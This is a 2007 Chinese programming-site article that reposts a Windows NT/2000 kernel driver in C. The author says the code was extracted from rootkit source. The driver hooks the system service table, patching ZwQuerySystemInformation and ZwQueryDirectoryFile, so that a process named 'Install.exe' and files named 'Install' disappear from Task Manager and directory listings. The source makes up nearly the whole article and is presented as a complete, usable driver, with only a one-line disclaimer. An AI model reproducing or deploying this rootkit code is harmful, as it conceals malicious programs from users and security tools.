精典的ASP传奇的J2EE新生的NETFTP服务器服务器安全WINDOWSB/S 模式WEB安全WAP世界动态网站推广宣传
空间服务器数据库技术邮局服务器站長工具硬设与组建Alexa专题DHTML项目管理WEB标准电脑硬件
病毒知识电脑使用布线协议接入交换路由局域网无线网络网络规划
Visual BasicVisual C/C++MssqlMySqloracleSybase 存在安全风险进程系统进程列表应用程序进程列表其它进程列表
黑客编程漏洞分析本地提权免杀技术脚本漏洞数据库注入安全防护内网渗透加密解密工具使用
WAP技术WAP入门
 您的位置:   >> 相关知识 >> 桌面应用程序 >> Visual Basic >>

NT/2000下面用驱动实现真正的进程,文件,目录隐藏

合金网络科技

 
  添加日期:2007-5-17 点击次数:166次  
   
   最近看了一下RootKit的代码,把其中进程文件目录隐藏的代码整理出来,  
  重新编译成一个完整可用的驱动,可以实现定制的进程文件目录的隐藏,  
  隐藏后,进程管理器无法看到,文件和目录也无法看到,但知道绝对路径的  
  情况下,可以正常使用隐藏的文件,只对NT/2000有效,编译后的驱动只有2k多.  
        程序用于实验,请勿非法使用  
   
  //////////////////////////////////////////////////////////////////////////////////////  
  //  
  //     FileName         :       D:\Temp\Hide\Driver.c  
  //     Version           :       1.0  
  //     Creater           :       QinzhiMing  
  //     Date                 :       2002:2:25       14:42  
  //     Comment           :          
  //  
  //////////////////////////////////////////////////////////////////////////////////////  
   
  #include   'ntddk.h'  
  #include   'Driver.h'  
  #include   'stdio.h'  
   
  /////////////////////////////////////////////////////////////////////////////  
   
  char   g_szHideProcName[]   =   'Install.exe';  
  WCHAR   g_wszHideFileName[]   =   L'Install';  
   
  ULONG   g_nProcessNameOffset;  
  BOOL   g_hide_proc   =   TRUE;  
   
  /////////////////////////////////////////////////////////////////////////////  
   
  NTSTATUS   DriverEntry(IN   PDRIVER_OBJECT   pDriverObject,   IN   PUNICODE_STRING   pRegisterPath)  
  {  
  int   i;  
  NTSTATUS   ntStatus;  
  PDEVICE_OBJECT   pDeviceObject;  
  WCHAR   wchrDeviceName[]   =   L'\\Device\\Hide';  
  WCHAR   wchrDeviceLinkName[]   =   L'\\DosDevices\\Hide';  
  UNICODE_STRING   wszDeviceName;  
  UNICODE_STRING   wszDeviceLinkName;  
   
  RtlInitUnicodeString(&wszDeviceName,   wchrDeviceName);  
  ntStatus   =   IoCreateDevice(pDriverObject,   0,   &wszDeviceName,   0x00008000,   0,   FALSE,   &pDeviceObject);  
  if   (ntStatus   !=   STATUS_SUCCESS)  
  goto   Exit0;  
  RtlInitUnicodeString(&wszDeviceLinkName,   wchrDeviceLinkName);  
  ntStatus   =   IoCreateSymbolicLink(&wszDeviceLinkName,   &wszDeviceName);  
  if   (ntStatus   !=   STATUS_SUCCESS)  
  {  
  IoDeleteDevice(pDeviceObject);  
  goto   Exit0;  
  }  
  for   (i   =   0;   i   <   IRP_MJ_MAXIMUM_FUNCTION;   i++)  
  pDriverObject->MajorFunction[i]   =   OnDriverDispatch;  
  pDriverObject->DriverUnload   =   OnDriverUnload;  
  GetProcessNameOffset();  
  HookSysCall();//Hook系统服务  
  Exit0:  
  return   ntStatus;  
  }  
   
  /////////////////////////////////////////////////////////////////////////////  
   
  void   GetProcessNameOffset()  
  {  
  int   i;  
          PEPROCESS   CurrentProc;  
  CurrentProc   =   PsGetCurrentProcess();  
          for   (i   =   0;   i   <   3   *   PAGE_SIZE;   i++)    
  {  
                  if(!strncmp('System',   (PCHAR)CurrentProc   +   i,   strlen('System')))  
                          g_nProcessNameOffset   =   i;  
          }  
  }  
   
  /////////////////////////////////////////////////////////////////////////////  
   
  BOOL   GetProcessName(PCHAR   pszName)  
  {  
          char     *pszTempName;  
  PEPROCESS   CurrentProc;    
   
          if   (g_nProcessNameOffset)    
  {  
                  CurrentProc   =   PsGetCurrentProcess();  
                  pszTempName   =   (PCHAR)CurrentProc   +   g_nProcessNameOffset;  
                  strncpy(pszName,   pszTempName,   NT_PROCNAMELEN);  
                  pszName[NT_PROCNAMELEN]   =   0;  
  return   TRUE;  
          }    
  return   FALSE;  
  }  
   
  /////////////////////////////////////////////////////////////////////////////  
   
  void   HookSysCall()  
  {  
  OldZwQuerySystemInformation   =   (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));  
  OldZwQueryDirectoryFile   =   (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));  
  _asm   cli;  
  (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation))   =   NewZwQuerySystemInformation;  
  (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))   =   NewZwQueryDirectoryFile;  
  _asm   sti;  
  }  
   
  /////////////////////////////////////////////////////////////////////////////  
   
  void   UnHookSysCall()  
  {  
  _asm   cli;  
  (ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation))   =   OldZwQuerySystemInformation;  
  (ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))   =   OldZwQueryDirectoryFile;  
  _asm   sti;  
  }  
   
  /////////////////////////////////////////////////////////////////////////////  
   
  NTSTATUS   NewZwQuerySystemInformation(  
                          IN   ULONG   SystemInformationClass,  
  IN   PVOID   SystemInformation,  
  IN   ULONG   SystemInformationLength,  
  OUT   PULONG   ReturnLength)  
  {  
  NTSTATUS   ntStatus;  
  CHAR   szProcessName[PROCNAMELEN];  
  ANSI_STRING   astrProcName;  
  ANSI_STRING   astrHideProcName;  
   
  struct   SYSTEM_PROCESS   *Curr;  
  struct   SYSTEM_PROCESS   *Prev;  
  RtlInitAnsiString(&astrHideProcName,   g_szHideProcName);  
  GetProcessName(szProcessName);  
  ntStatus   =   ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation))(  
  SystemInformationClass,  
  SystemInformation,  
  SystemInformationLength,  
  ReturnLength);  
   
  if(!NT_SUCCESS(ntStatus))  
  goto   Exit0;  
  if   (memcmp(szProcessName,   g_szHideProcName,   strlen(g_szHideProcName))   ==   0)//比较当前进程是否隐藏进程,是就退出,不对隐藏进程的做任何限制  
  goto   Exit0;  
  if   (SystemInformationClass   !=   5)  
  goto   Exit0;  
  Curr   =   (struct   SYSTEM_PROCESS   *)SystemInformation;  
  Prev   =   NULL;  
  Loop:  
  if   (Curr   ==   NULL)  
  goto   Exit0;  
  RtlUnicodeStringToAnsiString(&astrProcName,   &(Curr->ProcessName),   TRUE);  
  if   ((astrProcName.Length   >   0)   &&   (astrProcName.Length   <   255))  
  ;  
  else  
  goto   Next;  
  if   (RtlCompareString(&astrProcName,   &astrHideProcName,   TRUE)   !=   0)  
  goto   Next;  
  if (Prev)  
  {  
  if   (Curr->NextEntryDelta)  
  Prev->NextEntryDelta   +=   Curr->NextEntryDelta;  
  else  
  Prev->NextEntryDelta   =   0;  
  }  
  else  
  {  
  if   (Curr->NextEntryDelta)  
  (char   *)SystemInformation   +=   Curr->NextEntryDelta;  
  else  
  SystemInformation   =   NULL;  
  }  
  Next:  
  RtlFreeAnsiString(&astrProcName);  
  Prev   =   Curr;  
  if   (Curr->NextEntryDelta)  
  (char   *)Curr   +=   Curr->NextEntryDelta;  
  else  
  Curr   =   NULL;  
  goto   Loop;  
  Exit0:  
  return   ntStatus;  
  }  
   
  /////////////////////////////////////////////////////////////////////////////  
   
  NTSTATUS   OnDriverDispatch(IN   PDEVICE_OBJECT   pDeviceObject,   IN   PIRP   Irp)  
  {  
  /* PIO_STACK_LOCATION   IrpStack;  
  Irp->IoStatus.Status   =   STATUS_SUCCESS;  
  Irp->IoStatus.Information   =   0;  
  IrpStack   =   IoGetCurrentIrpStackLocation(Irp);*/  
  Irp->IoStatus.Status   =   STATUS_SUCCESS;  
  IoCompleteRequest(Irp,   IO_NO_INCREMENT);  
  return   Irp->IoStatus.Status;  
  }  
   
  /////////////////////////////////////////////////////////////////////////////  
   
  void   OnDriverUnload(IN   PDRIVER_OBJECT   pDriverObject)  
  {  
  WCHAR   wchrDeviceLinkName[]   =   L'\\DosDevices\\Hide';  
  UNICODE_STRING   wszDeviceLinkName;  
   
  UnHookSysCall();  
  RtlInitUnicodeString(&wszDeviceLinkName,   wchrDeviceLinkName);  
  IoDeleteSymbolicLink(&wszDeviceLinkName);  
  IoDeleteDevice(pDriverObject->DeviceObject);  
  } 
/////////////////////////////////////////////////////////////////////////////  
   
  NTSTATUS   NewZwQueryDirectoryFile(  
  IN   HANDLE   hFile,  
  IN   HANDLE   hEvent   OPTIONAL,  
  IN   PIO_APC_ROUTINE   IoApcRoutine   OPTIONAL,  
  IN   PVOID   IoApcContext   OPTIONAL,  
  OUT   PIO_STATUS_BLOCK   pIoStatusBlock,  
  OUT   PVOID   FileInformationBuffer,  
  IN   ULONG   FileInformationBufferLength,  
  IN   FILE_INFORMATION_CLASS   FileInfoClass,  
  IN   BOOLEAN   bReturnOnlyOneEntry,  
  IN   PUNICODE_STRING   PathMask   OPTIONAL,  
  IN   BOOLEAN   bRestartQuery)  
  {  
  NTSTATUS   ntStatus;  
  CHAR   szProcessName[PROCNAMELEN];  
  BOOL   bLastOne;  
  int   iPos;  
  int   iLeft;  
  pDirEntry   pCurrDir;  
  pDirEntry   pLastDir;  
   
  GetProcessName(szProcessName);  
  ntStatus   =   ((ZWQUERYDIRECTORYFILE)(OldZwQueryDirectoryFile))   (  
  hFile,  
  hEvent,  
  IoApcRoutine,  
  IoApcContext,  
  pIoStatusBlock,  
  FileInformationBuffer,  
  FileInformationBufferLength,  
  FileInfoClass,  
  bReturnOnlyOneEntry,  
  PathMask,  
  bRestartQuery);  
  if   (!NT_SUCCESS(ntStatus))  
  goto   Exit0;  
  if   (memcmp(szProcessName,   'Install',   7)   ==   0)  
  goto   Exit0;  
  pCurrDir   =   (pDirEntry)FileInformationBuffer;  
  pLastDir   =   NULL;  
  do    
  {  
  bLastOne   =   !(pCurrDir->dwLenToNext);  
  if   (RtlCompareMemory((PVOID)&pCurrDir->suName[0],   (PVOID)&g_wszHideFileName[0],   14)   ==   14)    
  {  
  if   (bLastOne)    
  {  
  if   (pCurrDir   ==   (pDirEntry)FileInformationBuffer)  
  ntStatus   =   0x80000006;  
  else    
  pLastDir->dwLenToNext   =   0;  
  break;  
  }    
  else    
  {  
  iPos   =   ((ULONG)pCurrDir)   -   (ULONG)FileInformationBuffer;  
  iLeft   =   (DWORD)FileInformationBufferLength   -   iPos   -   pCurrDir->dwLenToNext;  
  RtlCopyMemory((PVOID)pCurrDir,   (PVOID)((char   *)pCurrDir   +   pCurrDir->dwLenToNext),   (DWORD)iLeft);  
  continue;  
  }  
  }  
  pLastDir   =   pCurrDir;  
  pCurrDir   =   (pDirEntry)((char   *)pCurrDir   +   pCurrDir->dwLenToNext   );  
  }   while   (!bLastOne);  
  Exit0:  
  return   ntStatus;  
  }  
精典的ASP精选TOP
· 利用ADODB.Stream 防盗链
· Adodb.Stream说明手册
· 采集需要登录
· ASP 判断远程图片是否存在
· 在ServerXMLHTTP组件中使用代理服务器
· 用XMLHTTP通过代理服务器从服务提取数据的一些问题
· objXML.readystate的值
· 互联网HTTP连接等出错代码大全
· 利用XMLHTTP实现的二级连动Select
· 利用 xmlhttp 分块上传文件
 
服务器安全点击TOP
· 新云最新漏洞总结篇
· 各类网站的默认数据库和密码
· Windows Server2003 防木马权限设置IIS服务器安全配置整理
· 针对ASP网站的Win 2003硬盘安全设置
· IIS 6 的PHP 最佳配置方法
· 利用SA.exe 将Iusr_victim克隆为Administrator
· Cmd模式下的入侵技术大全
· 破解网页代码加密
· SERV-U 6.4提权方法,通杀SERV-U版本
· 新云网站管理系统文件注入漏洞
 
硬设与组建点击TOP
· 从头到尾教你组建小型局域网20
· 从头到尾教你组建小型局域网19
· 从头到尾教你组建小型局域网18
· 从头到尾教你组建小型局域网17
· 从头到尾教你组建小型局域网16
· 从头到尾教你组建小型局域网15
· 从头到尾教你组建小型局域网14
· 从头到尾教你组建小型局域网13
· 从头到尾教你组建小型局域网12
· 从头到尾教你组建小型局域网11
 
病毒知识点击TOP
· 不再重装 手动清除顽固病毒AutoRUN
· 木马静态变动态 DLL木马程序大揭秘
· 详解一个很牛X的网马
· 一个网马
· Trojan-Downloader.Win32.Delf.bab
· 抓了一个AJAX的网马
· 迅雷5 最新0day利用程序
· 自动关掉270种杀毒软件
· RealPlayer 最新网马
· 五个反弹型后门的源代码
 
WINDOWS点击TOP
· 4【系统知识】常见文件扩展名及简要说明!!! ==超详尽==
· 3【系统知识】常见文件扩展名及简要说明!!! ==超详尽==
· 2【系统知识】常见文件扩展名及简要说明!!! ==超详尽==
· 1【系统知识】常见文件扩展名及简要说明!!! ==超详尽==
· Capture an HTML document as an image
· 如何给eWebEditor编辑器加上运行代码框功能
· 给CuteEditor5增加了高亮代码显示功能
· CuteEditor6.0使用配置心得体会
· 关于IE插件的CLSID问题
· 对开发的程序(制作CAB)进行签名,并允许网站中使用
  "凌风微型文章系统",针对"搜索引擎"完美设计,提高"搜索引擎"对网站容量,质量的评估值,"扁平化,转静态 ..."